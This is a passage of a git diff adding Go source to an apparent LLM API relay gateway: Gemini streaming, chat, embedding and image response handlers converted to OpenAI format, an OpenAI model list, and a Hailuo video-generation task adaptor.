+		choice := dto.ChatCompletionsStreamResponseChoice{
+			Index: int(candidate.Index),
+			Delta: dto.ChatCompletionsStreamResponseChoiceDelta{
+				//Role: "assistant",
+			},
+		}
+		var texts []string
+		isTools := false
+		isThought := false
+		if candidate.FinishReason != nil {
+			// Map Gemini FinishReason to OpenAI finish_reason
+			switch *candidate.FinishReason {
+			case "STOP":
+				// Normal completion
+				choice.FinishReason = &constant.FinishReasonStop
+			case "MAX_TOKENS":
+				// Reached maximum token limit
+				choice.FinishReason = &constant.FinishReasonLength
+			case "SAFETY":
+				// Safety filter triggered
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			case "RECITATION":
+				// Recitation (citation) detected
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			case "BLOCKLIST":
+				// Blocklist triggered
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			case "PROHIBITED_CONTENT":
+				// Prohibited content detected
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			case "SPII":
+				// Sensitive personally identifiable information
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			case "OTHER":
+				// Other reasons
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			default:
+				// Unknown reason, treat as content filter
+				choice.FinishReason = &constant.FinishReasonContentFilter
+			}
+		}
+		for _, part := range candidate.Content.Parts {
+			if part.InlineData != nil {
+				if strings.HasPrefix(part.InlineData.MimeType, "image") {
+					imgText := "![image](data:" + part.InlineData.MimeType + ";base64," + part.InlineData.Data + ")"
+					texts = append(texts, imgText)
+				}
+			} else if part.FunctionCall != nil {
+				isTools = true
+				if call := getResponseToolCall(&part); call != nil {
+					call.SetIndex(len(choice.Delta.ToolCalls))
+					choice.Delta.ToolCalls = append(choice.Delta.ToolCalls, *call)
+				}
+
+			} else if part.Thought {
+				isThought = true
+				texts = append(texts, part.Text)
+			} else {
+				if part.ExecutableCode != nil {
+					texts = append(texts, "```"+part.ExecutableCode.Language+"\n"+part.ExecutableCode.Code+"\n```\n")
+				} else if part.CodeExecutionResult != nil {
+					texts = append(texts, "```output\n"+part.CodeExecutionResult.Output+"\n```\n")
+				} else {
+					if part.Text != "\n" {
+						texts = append(texts, part.Text)
+					}
+				}
+			}
+		}
+		if isThought {
+			choice.Delta.SetReasoningContent(strings.Join(texts, "\n"))
+		} else {
+			choice.Delta.SetContentString(strings.Join(texts, "\n"))
+		}
+		if isTools {
+			choice.FinishReason = &constant.FinishReasonToolCalls
+		}
+		choices = append(choices, choice)
+	}
+
+	var response dto.ChatCompletionsStreamResponse
+	response.Object = "chat.completion.chunk"
+	response.Choices = choices
+	return &response, isStop
+}
+
+func handleStream(c *gin.Context, info *relaycommon.RelayInfo, resp *dto.ChatCompletionsStreamResponse) error {
+	streamData, err := common.Marshal(resp)
+	if err != nil {
+		return fmt.Errorf("failed to marshal stream response: %w", err)
+	}
+	err = openai.HandleStreamFormat(c, info, string(streamData), info.ChannelSetting.ForceFormat, info.ChannelSetting.ThinkingToContent)
+	if err != nil {
+		return fmt.Errorf("failed to handle stream format: %w", err)
+	}
+	return nil
+}
+
+func handleFinalStream(c *gin.Context, info *relaycommon.RelayInfo, resp *dto.ChatCompletionsStreamResponse) error {
+	streamData, err := common.Marshal(resp)
+	if err != nil {
+		return fmt.Errorf("failed to marshal stream response: %w", err)
+	}
+	openai.HandleFinalResponse(c, info, string(streamData), resp.Id, resp.Created, resp.Model, resp.GetSystemFingerprint(), resp.Usage, false)
+	return nil
+}
+
+func geminiStreamHandler(c *gin.Context, info *relaycommon.RelayInfo, resp *http.Response, callback func(data string, geminiResponse *dto.GeminiChatResponse) bool) (*dto.Usage, *types.NewAPIError) {
+	var usage = &dto.Usage{}
+	var imageCount int
+	responseText := strings.Builder{}
+
+	helper.StreamScannerHandler(c, resp, info, func(data string, sr *helper.StreamResult) {
+		var geminiResponse dto.GeminiChatResponse
+		if err := common.UnmarshalJsonStr(data, &geminiResponse); err != nil {
+			sr.Stop(fmt.Errorf("unmarshal: %w", err))
+			return
+		}
+
+		if len(geminiResponse.Candidates) == 0 && geminiResponse.PromptFeedback != nil && geminiResponse.PromptFeedback.BlockReason != nil {
+			common.SetContextKey(c, constant.ContextKeyAdminRejectReason, fmt.Sprintf("gemini_block_reason=%s", *geminiResponse.PromptFeedback.BlockReason))
+		}
+
+		// 统计图片数量
+		for _, candidate := range geminiResponse.Candidates {
+			for _, part := range candidate.Content.Parts {
+				if part.InlineData != nil && part.InlineData.MimeType != "" {
+					imageCount++
+				}
+				if part.Text != "" {
+					responseText.WriteString(part.Text)
+				}
+			}
+		}
+
+		// 更新使用量统计
+		if geminiResponse.UsageMetadata.TotalTokenCount != 0 {
+			mappedUsage := buildUsageFromGeminiMetadata(geminiResponse.UsageMetadata, info.GetEstimatePromptTokens())
+			*usage = mappedUsage
+		}
+
+		if !callback(data, &geminiResponse) {
+			sr.Stop(fmt.Errorf("gemini callback stopped"))
+		}
+	})
+
+	if imageCount != 0 {
+		if usage.CompletionTokens == 0 {
+			usage.CompletionTokens = imageCount * 1400
+		}
+	}
+
+	if usage.CompletionTokens <= 0 {
+		if info.ReceivedResponseCount > 0 {
+			usage = service.ResponseText2Usage(c, responseText.String(), info.UpstreamModelName, info.GetEstimatePromptTokens())
+		} else {
+			usage = &dto.Usage{}
+		}
+	}
+
+	return usage, nil
+}
+
+func GeminiChatStreamHandler(c *gin.Context, info *relaycommon.RelayInfo, resp *http.Response) (*dto.Usage, *types.NewAPIError) {
+	id := helper.GetResponseID(c)
+	createAt := common.GetTimestamp()
+	finishReason := constant.FinishReasonStop
+	toolCallIndexByChoice := make(map[int]map[string]int)
+	nextToolCallIndexByChoice := make(map[int]int)
+
+	usage, err := geminiStreamHandler(c, info, resp, func(data string, geminiResponse *dto.GeminiChatResponse) bool {
+		response, isStop := streamResponseGeminiChat2OpenAI(geminiResponse)
+
+		response.Id = id
+		response.Created = createAt
+		response.Model = info.UpstreamModelName
+		for choiceIdx := range response.Choices {
+			choiceKey := response.Choices[choiceIdx].Index
+			for toolIdx := range response.Choices[choiceIdx].Delta.ToolCalls {
+				tool := &response.Choices[choiceIdx].Delta.ToolCalls[toolIdx]
+				if tool.ID == "" {
+					continue
+				}
+				m := toolCallIndexByChoice[choiceKey]
+				if m == nil {
+					m = make(map[string]int)
+					toolCallIndexByChoice[choiceKey] = m
+				}
+				if idx, ok := m[tool.ID]; ok {
+					tool.SetIndex(idx)
+					continue
+				}
+				idx := nextToolCallIndexByChoice[choiceKey]
+				nextToolCallIndexByChoice[choiceKey] = idx + 1
+				m[tool.ID] = idx
+				tool.SetIndex(idx)
+			}
+		}
+
+		logger.LogDebug(c, fmt.Sprintf("info.SendResponseCount = %d", info.SendResponseCount))
+		if info.SendResponseCount == 0 {
+			// send first response
+			emptyResponse := helper.GenerateStartEmptyResponse(id, createAt, info.UpstreamModelName, nil)
+			if response.IsToolCall() {
+				if len(emptyResponse.Choices) > 0 && len(response.Choices) > 0 {
+					toolCalls := response.Choices[0].Delta.ToolCalls
+					copiedToolCalls := make([]dto.ToolCallResponse, len(toolCalls))
+					for idx := range toolCalls {
+						copiedToolCalls[idx] = toolCalls[idx]
+						copiedToolCalls[idx].Function.Arguments = ""
+					}
+					emptyResponse.Choices[0].Delta.ToolCalls = copiedToolCalls
+				}
+				finishReason = constant.FinishReasonToolCalls
+				err := handleStream(c, info, emptyResponse)
+				if err != nil {
+					logger.LogError(c, err.Error())
+				}
+
+				response.ClearToolCalls()
+				if response.IsFinished() {
+					response.Choices[0].FinishReason = nil
+				}
+			} else {
+				err := handleStream(c, info, emptyResponse)
+				if err != nil {
+					logger.LogError(c, err.Error())
+				}
+			}
+		}
+
+		err := handleStream(c, info, response)
+		if err != nil {
+			logger.LogError(c, err.Error())
+		}
+		if isStop {
+			_ = handleStream(c, info, helper.GenerateStopResponse(id, createAt, info.UpstreamModelName, finishReason))
+		}
+		return true
+	})
+
+	if err != nil {
+		return usage, err
+	}
+
+	response := helper.GenerateFinalUsageResponse(id, createAt, info.UpstreamModelName, *usage)
+	handleErr := handleFinalStream(c, info, response)
+	if handleErr != nil {
+		common.SysLog("send final response failed: " + handleErr.Error())
+	}
+	return usage, nil
+}
+
+func GeminiChatHandler(c *gin.Context, info *relaycommon.RelayInfo, resp *http.Response) (*dto.Usage, *types.NewAPIError) {
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return nil, types.NewOpenAIError(err, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+	service.CloseResponseBodyGracefully(resp)
+	if common.DebugEnabled {
+		println(string(responseBody))
+	}
+	var geminiResponse dto.GeminiChatResponse
+	err = common.Unmarshal(responseBody, &geminiResponse)
+	if err != nil {
+		return nil, types.NewOpenAIError(err, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+	if len(geminiResponse.Candidates) == 0 {
+		usage := buildUsageFromGeminiMetadata(geminiResponse.UsageMetadata, info.GetEstimatePromptTokens())
+
+		var newAPIError *types.NewAPIError
+		if geminiResponse.PromptFeedback != nil && geminiResponse.PromptFeedback.BlockReason != nil {
+			common.SetContextKey(c, constant.ContextKeyAdminRejectReason, fmt.Sprintf("gemini_block_reason=%s", *geminiResponse.PromptFeedback.BlockReason))
+			newAPIError = types.NewOpenAIError(
+				errors.New("request blocked by Gemini API: "+*geminiResponse.PromptFeedback.BlockReason),
+				types.ErrorCodePromptBlocked,
+				http.StatusBadRequest,
+			)
+		} else {
+			common.SetContextKey(c, constant.ContextKeyAdminRejectReason, "gemini_empty_candidates")
+			newAPIError = types.NewOpenAIError(
+				errors.New("empty response from Gemini API"),
+				types.ErrorCodeEmptyResponse,
+				http.StatusInternalServerError,
+			)
+		}
+
+		service.ResetStatusCode(newAPIError, c.GetString("status_code_mapping"))
+
+		switch info.RelayFormat {
+		case types.RelayFormatClaude:
+			c.JSON(newAPIError.StatusCode, gin.H{
+				"type":  "error",
+				"error": newAPIError.ToClaudeError(),
+			})
+		default:
+			c.JSON(newAPIError.StatusCode, gin.H{
+				"error": newAPIError.ToOpenAIError(),
+			})
+		}
+		return &usage, nil
+	}
+	fullTextResponse := responseGeminiChat2OpenAI(c, &geminiResponse)
+	fullTextResponse.Model = info.UpstreamModelName
+	usage := buildUsageFromGeminiMetadata(geminiResponse.UsageMetadata, info.GetEstimatePromptTokens())
+
+	fullTextResponse.Usage = usage
+
+	switch info.RelayFormat {
+	case types.RelayFormatOpenAI:
+		responseBody, err = common.Marshal(fullTextResponse)
+		if err != nil {
+			return nil, types.NewError(err, types.ErrorCodeBadResponseBody)
+		}
+	case types.RelayFormatClaude:
+		claudeResp := service.ResponseOpenAI2Claude(fullTextResponse, info)
+		claudeRespStr, err := common.Marshal(claudeResp)
+		if err != nil {
+			return nil, types.NewError(err, types.ErrorCodeBadResponseBody)
+		}
+		responseBody = claudeRespStr
+	case types.RelayFormatGemini:
+		break
+	}
+
+	service.IOCopyBytesGracefully(c, resp, responseBody)
+
+	return &usage, nil
+}
+
+func GeminiEmbeddingHandler(c *gin.Context, info *relaycommon.RelayInfo, resp *http.Response) (*dto.Usage, *types.NewAPIError) {
+	defer service.CloseResponseBodyGracefully(resp)
+
+	responseBody, readErr := io.ReadAll(resp.Body)
+	if readErr != nil {
+		return nil, types.NewOpenAIError(readErr, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+
+	var geminiResponse dto.GeminiBatchEmbeddingResponse
+	if jsonErr := common.Unmarshal(responseBody, &geminiResponse); jsonErr != nil {
+		return nil, types.NewOpenAIError(jsonErr, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+
+	// convert to openai format response
+	openAIResponse := dto.OpenAIEmbeddingResponse{
+		Object: "list",
+		Data:   make([]dto.OpenAIEmbeddingResponseItem, 0, len(geminiResponse.Embeddings)),
+		Model:  info.UpstreamModelName,
+	}
+
+	for i, embedding := range geminiResponse.Embeddings {
+		openAIResponse.Data = append(openAIResponse.Data, dto.OpenAIEmbeddingResponseItem{
+			Object:    "embedding",
+			Embedding: embedding.Values,
+			Index:     i,
+		})
+	}
+
+	// calculate usage
+	// https://ai.google.dev/gemini-api/docs/pricing?hl=zh-cn#text-embedding-004
+	// Google has not yet clarified how embedding models will be billed
+	// refer to openai billing method to use input tokens billing
+	// https://platform.openai.com/docs/guides/embeddings#what-are-embeddings
+	usage := service.ResponseText2Usage(c, "", info.UpstreamModelName, info.GetEstimatePromptTokens())
+	openAIResponse.Usage = *usage
+
+	jsonResponse, jsonErr := common.Marshal(openAIResponse)
+	if jsonErr != nil {
+		return nil, types.NewOpenAIError(jsonErr, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+
+	service.IOCopyBytesGracefully(c, resp, jsonResponse)
+	return usage, nil
+}
+
+func GeminiImageHandler(c *gin.Context, info *relaycommon.RelayInfo, resp *http.Response) (*dto.Usage, *types.NewAPIError) {
+	responseBody, readErr := io.ReadAll(resp.Body)
+	if readErr != nil {
+		return nil, types.NewOpenAIError(readErr, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+	_ = resp.Body.Close()
+
+	var geminiResponse dto.GeminiImageResponse
+	if jsonErr := common.Unmarshal(responseBody, &geminiResponse); jsonErr != nil {
+		return nil, types.NewOpenAIError(jsonErr, types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+
+	if len(geminiResponse.Predictions) == 0 {
+		return nil, types.NewOpenAIError(errors.New("no images generated"), types.ErrorCodeBadResponseBody, http.StatusInternalServerError)
+	}
+
+	// convert to openai format response
+	openAIResponse := dto.ImageResponse{
+		Created: common.GetTimestamp(),
+		Data:    make([]dto.ImageData, 0, len(geminiResponse.Predictions)),
+	}
+
+	for _, prediction := range geminiResponse.Predictions {
+		if prediction.RaiFilteredReason != "" {
+			continue // skip filtered image
+		}
+		openAIResponse.Data = append(openAIResponse.Data, dto.ImageData{
+			B64Json: prediction.BytesBase64Encoded,
+		})
+	}
+
+	jsonResponse, jsonErr := json.Marshal(openAIResponse)
+	if jsonErr != nil {
+		return nil, types.NewError(jsonErr, types.ErrorCodeBadResponseBody)
+	}
+
+	c.Writer.Header().Set("Content-Type", "application/json")
+	c.Writer.WriteHeader(resp.StatusCode)
+	_, _ = c.Writer.Write(jsonResponse)
+
+	// https://github.com/google-gemini/cookbook/blob/719a27d752aac33f39de18a8d3cb42a70874917e/quickstarts/Counting_Tokens.ipynb
+	// each image has fixed 258 tokens
+	const imageTokens = 258
+	generatedImages := len(openAIResponse.Data)
+
+	usage := &dto.Usage{
+		PromptTokens:     imageTokens * generatedImages, // each generated image has fixed 258 tokens
+		CompletionTokens: 0,                             // image generation does not calculate completion tokens
+		TotalTokens:      imageTokens * generatedImages,
+	}
+
+	return usage, nil
+}
+
+type GeminiModelsResponse struct {
+	Models        []dto.GeminiModel `json:"models"`
+	NextPageToken string            `json:"nextPageToken"`
+}
+
+func FetchGeminiModels(baseURL, apiKey, proxyURL string) ([]string, error) {
+	client, err := service.GetHttpClientWithProxy(proxyURL)
+	if err != nil {
+		return nil, fmt.Errorf("创建HTTP客户端失败: %v", err)
+	}
+
+	allModels := make([]string, 0)
+	nextPageToken := ""
+	maxPages := 100 // Safety limit to prevent infinite loops
+
+	for page := 0; page < maxPages; page++ {
+		url := fmt.Sprintf("%s/v1beta/models", baseURL)
+		if nextPageToken != "" {
+			url = fmt.Sprintf("%s?pageToken=%s", url, nextPageToken)
+		}
+
+		ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
+		request, err := http.NewRequestWithContext(ctx, "GET", url, nil)
+		if err != nil {
+			cancel()
+			return nil, fmt.Errorf("创建请求失败: %v", err)
+		}
+
+		request.Header.Set("x-goog-api-key", apiKey)
+
+		response, err := client.Do(request)
+		if err != nil {
+			cancel()
+			return nil, fmt.Errorf("请求失败: %v", err)
+		}
+
+		if response.StatusCode != http.StatusOK {
+			body, _ := io.ReadAll(response.Body)
+			response.Body.Close()
+			cancel()
+			return nil, fmt.Errorf("服务器返回错误 %d: %s", response.StatusCode, string(body))
+		}
+
+		body, err := io.ReadAll(response.Body)
+		response.Body.Close()
+		cancel()
+		if err != nil {
+			return nil, fmt.Errorf("读取响应失败: %v", err)
+		}
+
+		var modelsResponse GeminiModelsResponse
+		if err = common.Unmarshal(body, &modelsResponse); err != nil {
+			return nil, fmt.Errorf("解析响应失败: %v", err)
+		}
+
+		for _, model := range modelsResponse.Models {
+			modelNameValue, ok := model.Name.(string)
+			if !ok {
+				continue
+			}
+			modelName := strings.TrimPrefix(modelNameValue, "models/")
+			allModels = append(allModels, modelName)
+		}
+
+		nextPageToken = modelsResponse.NextPageToken
+		if nextPageToken == "" {
+			break
+		}
+	}
+
+	return allModels, nil
+}
+
+// convertToolChoiceToGeminiConfig converts OpenAI tool_choice to Gemini toolConfig
+// OpenAI tool_choice values:
+//   - "auto": Let the model decide (default)
+//   - "none": Don't call any tools
+//   - "required": Must call at least one tool
+//   - {"type": "function", "function": {"name": "xxx"}}: Call specific function
+//
+// Gemini functionCallingConfig.mode values:
+//   - "AUTO": Model decides whether to call functions
+//   - "NONE": Model won't call functions
+//   - "ANY": Model must call at least one function
+func convertToolChoiceToGeminiConfig(toolChoice any) *dto.ToolConfig {
+	if toolChoice == nil {
+		return nil
+	}
+
+	// Handle string values: "auto", "none", "required"
+	if toolChoiceStr, ok := toolChoice.(string); ok {
+		config := &dto.ToolConfig{
+			FunctionCallingConfig: &dto.FunctionCallingConfig{},
+		}
+		switch toolChoiceStr {
+		case "auto":
+			config.FunctionCallingConfig.Mode = "AUTO"
+		case "none":
+			config.FunctionCallingConfig.Mode = "NONE"
+		case "required":
+			config.FunctionCallingConfig.Mode = "ANY"
+		default:
+			// Unknown string value, default to AUTO
+			config.FunctionCallingConfig.Mode = "AUTO"
+		}
+		return config
+	}
+
+	// Handle object value: {"type": "function", "function": {"name": "xxx"}}
+	if toolChoiceMap, ok := toolChoice.(map[string]interface{}); ok {
+		if toolChoiceMap["type"] == "function" {
+			config := &dto.ToolConfig{
+				FunctionCallingConfig: &dto.FunctionCallingConfig{
+					Mode: "ANY",
+				},
+			}
+			// Extract function name if specified
+			if function, ok := toolChoiceMap["function"].(map[string]interface{}); ok {
+				if name, ok := function["name"].(string); ok && name != "" {
+					config.FunctionCallingConfig.AllowedFunctionNames = []string{name}
+				}
+			}
+			return config
+		}
+		// Unsupported map structure (type is not "function"), return nil
+		return nil
+	}
+
+	// Unsupported type, return nil
+	return nil
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/openai/constant.go b/_all-in-one-upload/new-api/relay/channel/openai/constant.go
new file mode 100644
index 0000000..14e3d44
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/openai/constant.go
@@ -0,0 +1,76 @@
+package openai
+
+var ModelList = []string{
+	"gpt-3.5-turbo", "gpt-3.5-turbo-0613", "gpt-3.5-turbo-1106", "gpt-3.5-turbo-0125",
+	"gpt-3.5-turbo-16k", "gpt-3.5-turbo-16k-0613",
+	"gpt-3.5-turbo-instruct", "gpt-3.5-turbo-instruct-0914",
+	"gpt-4", "gpt-4-0613", "gpt-4-1106-preview", "gpt-4-0125-preview",
+	"gpt-4-32k", "gpt-4-32k-0613",
+	"gpt-4-turbo-preview", "gpt-4-turbo", "gpt-4-turbo-2024-04-09",
+	"gpt-4-vision-preview",
+	"chatgpt-4o-latest",
+	"gpt-4o", "gpt-4o-2024-05-13", "gpt-4o-2024-08-06", "gpt-4o-2024-11-20",
+	"gpt-4o-transcribe", "gpt-4o-transcribe-diarize",
+	"gpt-4o-search-preview", "gpt-4o-search-preview-2025-03-11",
+	"gpt-4o-mini", "gpt-4o-mini-2024-07-18",
+	"gpt-4o-mini-transcribe", "gpt-4o-mini-transcribe-2025-03-20", "gpt-4o-mini-transcribe-2025-12-15",
+	"gpt-4o-mini-tts", "gpt-4o-mini-tts-2025-03-20", "gpt-4o-mini-tts-2025-12-15",
+	"gpt-4o-mini-search-preview", "gpt-4o-mini-search-preview-2025-03-11",
+	"gpt-4.5-preview", "gpt-4.5-preview-2025-02-27",
+	"gpt-4.1", "gpt-4.1-2025-04-14",
+	"gpt-4.1-mini", "gpt-4.1-mini-2025-04-14",
+	"gpt-4.1-nano", "gpt-4.1-nano-2025-04-14",
+	"o1", "o1-2024-12-17",
+	"o1-preview", "o1-preview-2024-09-12",
+	"o1-mini", "o1-mini-2024-09-12",
+	"o1-pro", "o1-pro-2025-03-19",
+	"o3-mini", "o3-mini-2025-01-31",
+	"o3-mini-high", "o3-mini-2025-01-31-high",
+	"o3-mini-low", "o3-mini-2025-01-31-low",
+	"o3-mini-medium", "o3-mini-2025-01-31-medium",
+	"o3", "o3-2025-04-16",
+	"o3-pro", "o3-pro-2025-06-10",
+	"o3-deep-research", "o3-deep-research-2025-06-26",
+	"o4-mini", "o4-mini-2025-04-16",
+	"o4-mini-deep-research", "o4-mini-deep-research-2025-06-26",
+	"gpt-5", "gpt-5-2025-08-07", "gpt-5-chat-latest",
+	"gpt-5-mini", "gpt-5-mini-2025-08-07",
+	"gpt-5-nano", "gpt-5-nano-2025-08-07",
+	"gpt-5-codex",
+	"gpt-5-pro", "gpt-5-pro-2025-10-06",
+	"gpt-5-search-api", "gpt-5-search-api-2025-10-14",
+	"gpt-5.1", "gpt-5.1-2025-11-13", "gpt-5.1-chat-latest",
+	"gpt-5.1-codex", "gpt-5.1-codex-mini", "gpt-5.1-codex-max",
+	"gpt-5.2", "gpt-5.2-2025-12-11", "gpt-5.2-chat-latest",
+	"gpt-5.2-pro", "gpt-5.2-pro-2025-12-11",
+	"gpt-5.2-codex",
+	"gpt-5.3-chat-latest",
+	"gpt-5.3-codex",
+	"gpt-5.4", "gpt-5.4-2026-03-05",
+	"gpt-5.4-pro", "gpt-5.4-pro-2026-03-05",
+	"gpt-4o-audio-preview", "gpt-4o-audio-preview-2024-10-01", "gpt-4o-audio-preview-2024-12-17", "gpt-4o-audio-preview-2025-06-03",
+	"gpt-4o-realtime-preview", "gpt-4o-realtime-preview-2024-10-01", "gpt-4o-realtime-preview-2024-12-17", "gpt-4o-realtime-preview-2025-06-03",
+	"gpt-4o-mini-realtime-preview", "gpt-4o-mini-realtime-preview-2024-12-17",
+	"gpt-4o-mini-audio-preview", "gpt-4o-mini-audio-preview-2024-12-17",
+	"gpt-audio", "gpt-audio-2025-08-28",
+	"gpt-audio-mini", "gpt-audio-mini-2025-10-06", "gpt-audio-mini-2025-12-15",
+	"gpt-audio-1.5",
+	"gpt-realtime", "gpt-realtime-2025-08-28",
+	"gpt-realtime-mini", "gpt-realtime-mini-2025-10-06", "gpt-realtime-mini-2025-12-15",
+	"gpt-realtime-1.5",
+	"text-embedding-ada-002", "text-embedding-3-small", "text-embedding-3-large",
+	"text-curie-001", "text-babbage-001", "text-ada-001",
+	"text-moderation-latest", "text-moderation-stable",
+	"omni-moderation-latest", "omni-moderation-2024-09-26",
+	"text-davinci-edit-001",
+	"davinci-002", "babbage-002",
+	"dall-e-2", "dall-e-3",
+	"gpt-image-1", "gpt-image-1-mini", "gpt-image-1.5",
+	"chatgpt-image-latest",
+	"whisper-1",
+	"tts-1", "tts-1-1106", "tts-1-hd", "tts-1-hd-1106",
+	"computer-use-preview", "computer-use-preview-2025-03-11",
+	"sora-2", "sora-2-pro",
+}
+
+var ChannelName = "openai"
diff --git a/_all-in-one-upload/new-api/relay/channel/replicate/dto.go b/_all-in-one-upload/new-api/relay/channel/replicate/dto.go
new file mode 100644
index 0000000..2ff06dc
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/replicate/dto.go
@@ -0,0 +1,19 @@
+package replicate
+
+type PredictionResponse struct {
+	Status string           `json:"status"`
+	Output any              `json:"output"`
+	Error  *PredictionError `json:"error"`
+}
+
+type PredictionError struct {
+	Code    string `json:"code"`
+	Message string `json:"message"`
+	Detail  string `json:"detail"`
+}
+
+type FileUploadResponse struct {
+	Urls struct {
+		Get string `json:"get"`
+	} `json:"urls"`
+}
diff --git a/_all-in-one-upload/new-api/relay/channel/task/hailuo/adaptor.go b/_all-in-one-upload/new-api/relay/channel/task/hailuo/adaptor.go
new file mode 100644
index 0000000..28b3a97
--- /dev/null
+++ b/_all-in-one-upload/new-api/relay/channel/task/hailuo/adaptor.go
@@ -0,0 +1,302 @@
+package hailuo
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"net/http"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/gin-gonic/gin"
+	"github.com/pkg/errors"
+
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/relay/channel"
+	taskcommon "github.com/QuantumNous/new-api/relay/channel/task/taskcommon"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/service"
+)
+
+// https://platform.minimaxi.com/docs/api-reference/video-generation-intro
+type TaskAdaptor struct {
+	taskcommon.BaseBilling
+	ChannelType int
+	apiKey      string
+	baseURL     string
+}
+
+func (a *TaskAdaptor) Init(info *relaycommon.RelayInfo) {
+	a.ChannelType = info.ChannelType
+	a.baseURL = info.ChannelBaseUrl
+	a.apiKey = info.ApiKey
+}
+
+func (a *TaskAdaptor) ValidateRequestAndSetAction(c *gin.Context, info *relaycommon.RelayInfo) (taskErr *dto.TaskError) {
+	return relaycommon.ValidateBasicTaskRequest(c, info, constant.TaskActionGenerate)
+}
+
+func (a *TaskAdaptor) BuildRequestURL(info *relaycommon.RelayInfo) (string, error) {
+	return fmt.Sprintf("%s%s", a.baseURL, TextToVideoEndpoint), nil
+}
+
+func (a *TaskAdaptor) BuildRequestHeader(c *gin.Context, req *http.Request, info *relaycommon.RelayInfo) error {
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+a.apiKey)
+	return nil
+}
+
+func (a *TaskAdaptor) BuildRequestBody(c *gin.Context, info *relaycommon.RelayInfo) (io.Reader, error) {
+	v, exists := c.Get("task_request")
+	if !exists {
+		return nil, fmt.Errorf("request not found in context")
+	}
+	req, ok := v.(relaycommon.TaskSubmitReq)
+	if !ok {
+		return nil, fmt.Errorf("invalid request type in context")
+	}
+
+	body, err := a.convertToRequestPayload(&req, info)
+	if err != nil {
+		return nil, errors.Wrap(err, "convert request payload failed")
+	}
+
+	data, err := common.Marshal(body)
+	if err != nil {
+		return nil, err
+	}
+
+	return bytes.NewReader(data), nil
+}
+
+func (a *TaskAdaptor) DoRequest(c *gin.Context, info *relaycommon.RelayInfo, requestBody io.Reader) (*http.Response, error) {
+	return channel.DoTaskApiRequest(a, c, info, requestBody)
+}
+
+func (a *TaskAdaptor) DoResponse(c *gin.Context, resp *http.Response, info *relaycommon.RelayInfo) (taskID string, taskData []byte, taskErr *dto.TaskError) {
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		taskErr = service.TaskErrorWrapper(err, "read_response_body_failed", http.StatusInternalServerError)
+		return
+	}
+	_ = resp.Body.Close()
+
+	var hResp VideoResponse
+	if err := common.Unmarshal(responseBody, &hResp); err != nil {
+		taskErr = service.TaskErrorWrapper(errors.Wrapf(err, "body: %s", responseBody), "unmarshal_response_body_failed", http.StatusInternalServerError)
+		return
+	}
+
+	if hResp.BaseResp.StatusCode != StatusSuccess {
+		taskErr = service.TaskErrorWrapper(
+			fmt.Errorf("hailuo api error: %s", hResp.BaseResp.StatusMsg),
+			strconv.Itoa(hResp.BaseResp.StatusCode),
+			http.StatusBadRequest,
+		)
+		return
+	}
+
+	ov := dto.NewOpenAIVideo()
+	ov.ID = info.PublicTaskID
+	ov.TaskID = info.PublicTaskID
+	ov.CreatedAt = time.Now().Unix()
+	ov.Model = info.OriginModelName
+
+	c.JSON(http.StatusOK, ov)
+	return hResp.TaskID, responseBody, nil
+}
+
+func (a *TaskAdaptor) FetchTask(baseUrl, key string, body map[string]any, proxy string) (*http.Response, error) {
+	taskID, ok := body["task_id"].(string)
+	if !ok {
+		return nil, fmt.Errorf("invalid task_id")
+	}
+
+	uri := fmt.Sprintf("%s%s?task_id=%s", baseUrl, QueryTaskEndpoint, taskID)
+
+	req, err := http.NewRequest(http.MethodGet, uri, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	req.Header.Set("Accept", "application/json")
+	req.Header.Set("Authorization", "Bearer "+key)
+
+	client, err := service.GetHttpClientWithProxy(proxy)
+	if err != nil {
+		return nil, fmt.Errorf("new proxy http client failed: %w", err)
+	}
+	return client.Do(req)
+}
+
+func (a *TaskAdaptor) GetModelList() []string {
+	return ModelList
+}
+
+func (a *TaskAdaptor) GetChannelName() string {
+	return ChannelName
+}
+
+func (a *TaskAdaptor) convertToRequestPayload(req *relaycommon.TaskSubmitReq, info *relaycommon.RelayInfo) (*VideoRequest, error) {
+	modelConfig := GetModelConfig(info.UpstreamModelName)
+	duration := DefaultDuration
+	if req.Duration > 0 {
+		duration = req.Duration
+	}
+	resolution := modelConfig.DefaultResolution
+	if req.Size != "" {
+		resolution = a.parseResolutionFromSize(req.Size, modelConfig)
+	}
+
+	videoRequest := &VideoRequest{
+		Model:      info.UpstreamModelName,
+		Prompt:     req.Prompt,
+		Duration:   &duration,
+		Resolution: resolution,
+	}
+	if err := req.UnmarshalMetadata(&videoRequest); err != nil {
+		return nil, errors.Wrap(err, "unmarshal metadata to video request failed")
+	}
+
+	return videoRequest, nil
+}
+
+func (a *TaskAdaptor) parseResolutionFromSize(size string, modelConfig ModelConfig) string {
+	switch {
+	case strings.Contains(size, "1080"):
+		return Resolution1080P
+	case strings.Contains(size, "768"):
+		return Resolution768P
+	case strings.Contains(size, "720"):
+		return Resolution720P
